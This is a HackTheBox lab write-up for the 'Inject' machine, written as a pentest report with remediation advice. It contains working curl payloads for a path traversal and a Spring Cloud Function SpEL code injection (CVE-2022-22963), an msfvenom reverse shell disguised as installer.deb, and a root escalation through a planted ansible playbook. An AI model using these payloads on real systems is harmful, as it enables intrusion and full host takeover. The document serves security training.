HackTheBox

HTB - Inject

Date: 2023/03/12

Conducted by

Safwan Luban

1. Table of Contents

2. Scope

The scope of the assessment was one IP Address and all the application domains that were hosted.

Asset Type	Asset Value	Description
IP Address	10.129.179.22	Host IP
Domains	inject.htb	Application Domains

3. Summary of Findings

Critical | High | Medium | Low | Informational | Proactive

4. Executive Summary

Inject is a HTB easy level machine which is used to host a simple Java Spring Boot based application. While testing the application and underlying host a total of three (3) were found ranging in severity as follows: One (1) was classified as a critical-risk, one (1) as a high-risk finding and one (1) medium-risk. The vulnerabilities were a result from improperly coded application, not following the best practices in secure coding and the usage of old packets containing security flaws. The initial access was achieved by abusing a path traversal to inspect the web application's source code and its dependent packages. With this information a critical vulnerability was discovered, exploiting it resulted in unauthorized access to the underlying host. After foothold was established it was quickly found that due to overly permissive directory access privileges can be escalated to the one of the root user, thus fully compromising the host.

5. Host Compromise Walktrough

Assessment Overview

After the initial host scan only two (2) open ports were discovered: 22 and 8080. Futher inspection on port 8080 reveals a custom web appliacation `Zodd Cloud` . Inspecting the page's source code trough the browser developer tools reveals a directory called `webjars` , this is a strong indication that the application is based on java, more specifically Java Spring Boot. Additional testing shows that most of the application is still under development, however one particulary interesting functionality is the file upload located at the top right corner of the home page. Fuzzing it a bit reveals that there are some protections in place which prevent the uploading of malicious files. Submiting a regular image file leads to a URI that can be used to view all uploaded files `http://inject.htb:8080/show_image?img=testapp.png` . Spending some time testing for file paths reveals a Path Traversal vulnerability which can also be used to read local files.

Reading the local `/etc/passwd` file.

```
└─$ curl http://inject.htb:8080/show_image?img=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
<SNIP>
<SNIP>
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
```

Listing the content of the root directory on the host.

```
└─$ curl http://inject.htb:8080/show_image?img=../../../../../../
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
```

```
mediamntoptprocrootrunsbinsrvsystmpusrvar
```

Browsing trough the directories reveals couple of interesting findings, one of the being the password of the user **`Phil`**.

```
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>$/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
```

Additionally the application's java web archive can also be downloaded for further inspection.

```
─$ curl http://inject.htb:8080/show_image?
img=../../../../../../var/www/WebApp/target/spring-webapp.jar > spring-webapp.jar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 23.9M  100 23.9M    0     0  1333k      0  0:00:18  0:00:18 --:--:-- 1713k
```

After submitting the jar archive to an online Java Decompiler, the application's source code is revealed, however nothing of particular interest can be found there. Moving further with the file system enumeration a file can be found(**`/var/www/WebApp/pom.xml`**) that contains all of the package dependencies that this application is using. A fast google search on every one of them reveals a critical vulnerability in **`spring-cloud-function-web - v3.2.2`**. Additional research confirms this and a proof of concept exploit can be found here. With this information at hand getting a reverse shell on the host trough the RCE is straight forward.

1. Generating a reverse shell with msfvenom

```
└─$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$(get-ip) LPORT=9090 -f elf -o
installer.deb
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
```

```
Payload size: 130 bytesFinal size of elf file: 250 bytesSaved as: installer.deb
```

1. Downloading the payload on the host and executing it.

```
### Download the payload from the attack host
curl -i -s -k -XPOST -H 'spring.cloud.function.routing-
expression:T(java.lang.Runtime).getRuntime().exec("chmod 755 /tmp/installer.deb")' --
data-binary 'exploit' 'http://inject.htb:8080/functionRouter'
### Execute the payload
curl -i -s -k -XPOST -H 'spring.cloud.function.routing-
expression:T(java.lang.Runtime).getRuntime().exec("/tmp/installer.deb")' --data-binary
'exploit' 'http://inject.htb:8080/functionRouter'
```

1. Receiving reverse connection

```
Metasploit Documentation: https://docs.metasploit.com/

[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 9090
[*] Started reverse TCP handler on 0.0.0.0:9090
[*] Sending stage (3045348 bytes) to 10.129.179.22
[*] Meterpreter session 1 opened (10.10.14.93:9090 -> 10.129.179.22:33522) at 2023-03-
12 12:33:22 +0000

meterpreter > getuid
Server username: frank
```

After the reverse shell is obtained the `su` command can be used to switch to the user phil with the password obtained earlier. Quick inspection of the user's ID reveals that he is part of an unusual group called `staff`

```
phil@inject:/opt/automation$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
```

With some additional enumeration a writable directory is found for the group staff.

```
phil@inject:/opt/automation$ ls -la
ls -la
total 12
```

```
drwxr-xr-x 3 root root  4096 Oct 20 04:23 .drwxr-xr-x 3 root root  4096 Oct 20 04:23
..drwxrwxr-x 2 root staff 4096 Mar 12 12:50 tasks
```

Inside it, a simple ansible playbook file can be seen that is used to restart the webapp systemd service. Additionally a cron job was discovered running with the privileges of the root user which uses ansible to run the playbook file.

```
2023/03/12 13:02:04 CMD: UID=0    PID=38166  | /usr/bin/python3 /usr/bin/ansible-
playbook /opt/automation/tasks/playbook_1.yml
```

Knowing this one more playbook file is placed in the directory in an attempt to escalate the privileges to the one of the root user.

```
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.shell:
      cmd: id > /tmp/out
```

Few minutes later the result can be observed, proving that this approach can be used to compromise the entire host.

```
phil@inject:/opt/automation/tasks$ cat /tmp/out
cat /tmp/out
uid=0(root) gid=0(root) groups=0(root)
```

6. Findings

9.5 Critical	[T001] Vulnerable dependency

Category	**HTB_Inject**
Affected Resources	http://inject.htb:8080
Description	With the help of the path traversal vulnerability it was possible to include all application files, after enumerating the application's dependencies one of them was found to be outdated and vulnerable to code injection.
Background	Java Spring Framework (Spring Framework) is a popular, open source, enterprise-level framework for creating standalone, production-grade applications that run on the Java Virtual Machine (JVM). Java Spring Boot (Spring Boot) is a tool that makes developing web application and microservices with Spring Framework faster and easier through three core capabilities: 1. Autoconfiguration 2. An opinionated approach to configuration 3. The ability to create standalone applications Spring Framework offers a dependency injection feature that lets objects define their own dependencies that the Spring container later injects into them. This enables developers to create modular applications consisting of loosely coupled components that are ideal for microservices and distributed network applications.
Tools Used	Manual testing.

Proof of Concept	Identifying old version in use for `spring-cloud-function-web`
	
	`<dependency>`
	`<groupId>org.springframework.cloud</groupId>`
	`<artifactId>spring-cloud-function-web</artifactId>`
	`<version>3.2.2</version>`
	`</dependency>`
	
	Getting code execution trough the dependency and creating a file with name hacked inside /tmp.
	
	`curl -i -s -k -XPOST -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch`

Proof of Concept

```
/tmp/hacked")' --data-binary 'exploit'
'http://inject.htb:8080/functionRouter'
```

Verifying that the file is created trough directory traversal.

```
└─$ curl http://inject.htb:8080/show_image?
img=../../../../../../tmp
<SNIP>
<SNIP>
hacked
<SNIP>
```

Remediation

Update all dependencies that are in-use by the project. Regularly perform code audit and make sure that the latest versions of all packages are used.

References

CVE-2022-22963

8.2 High	[T002] Path Traversal
Category	**HTB_Inject**
Affected Resources	http://inject.htb:8080
Description	After thorough testing the web application, it was found that a path traversal vulnerability is present in `http://inject.htb:8080/show_image?img=`
Background	A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control.
Tools Used	Manual testing.
Proof of Concept	Including the system /etc/passwd file.

```
└─$ curl http://inject.htb:8080/show_image?
img=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<SNIP>
<SNIP>
frank:x:1000:1000:frank:/home/frank:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
```

Proof of Concept

```
fwupd-refresh:x:112:118:fwupd-refresh
user,,,:/run/systemd:/usr/sbin/nologin_laurel:x:997:996::/var/l
og/laurel:/bin/false
```

Revealing the internal directory structure.

```
└─$ curl http://inject.htb:8080/show_image?
img=../../../../../../
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

Remediation

- Prefer working without user input when using file system calls.
- Use indexes rather than actual portions of file names when templating.
- Ensure the user cannot supply all parts of the path, surround it with your path code.
- Validate the user's input by only accepting known good.
- Use chrooted jails and code access policies to restrict where the files can be obtained or saved to.

Remediation	• If forced to use user input for file operations, normalize the input before using in file io API's.
References	Path Traversal

4.6
Medium

[T003] Overly Permissive Directory

Category	**HTB_Inject**
Affected Resources	10.129.179.22
Description	After the initial foothold was obtained, further enumeration of the host's file structure reveals an overly permissive directory access. This can be used by an attacker to escalate privileges and fully compromise the host.
Background	File permissions are core to the security model used by Linux systems. They determine who can access files and directories on a system and how. All Linux files belong to an owner and a group. Read permission is used to access the file's contents. You can use a tool like cat or less on the file to display the file contents. Write permission allows you to modify or change the contents of a file. Execute permission allows you to execute the contents of a file.
Tools Used	Manual testing.
Proof of Concept	The group staff has write permissions to the `/opt/automation/tasks` directory, it was found that ansible play books placed inside it are ran by the root user.

```
phil@inject:/opt/automation$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root  4096 Oct 20 04:23 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
drwxrwxr-x 2 root staff 4096 Mar 12 12:48 tasks
```

The user `phil` is part of the staff group.

Proof of Concept

```
phil@inject:/opt/automation$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
```

Remediation

Regularly audit all file and directory permissions. Enforce the rule of least privilege. Tighten file permissions as much as possible. Access should be provided only when its needed.

References

Linux File Permissions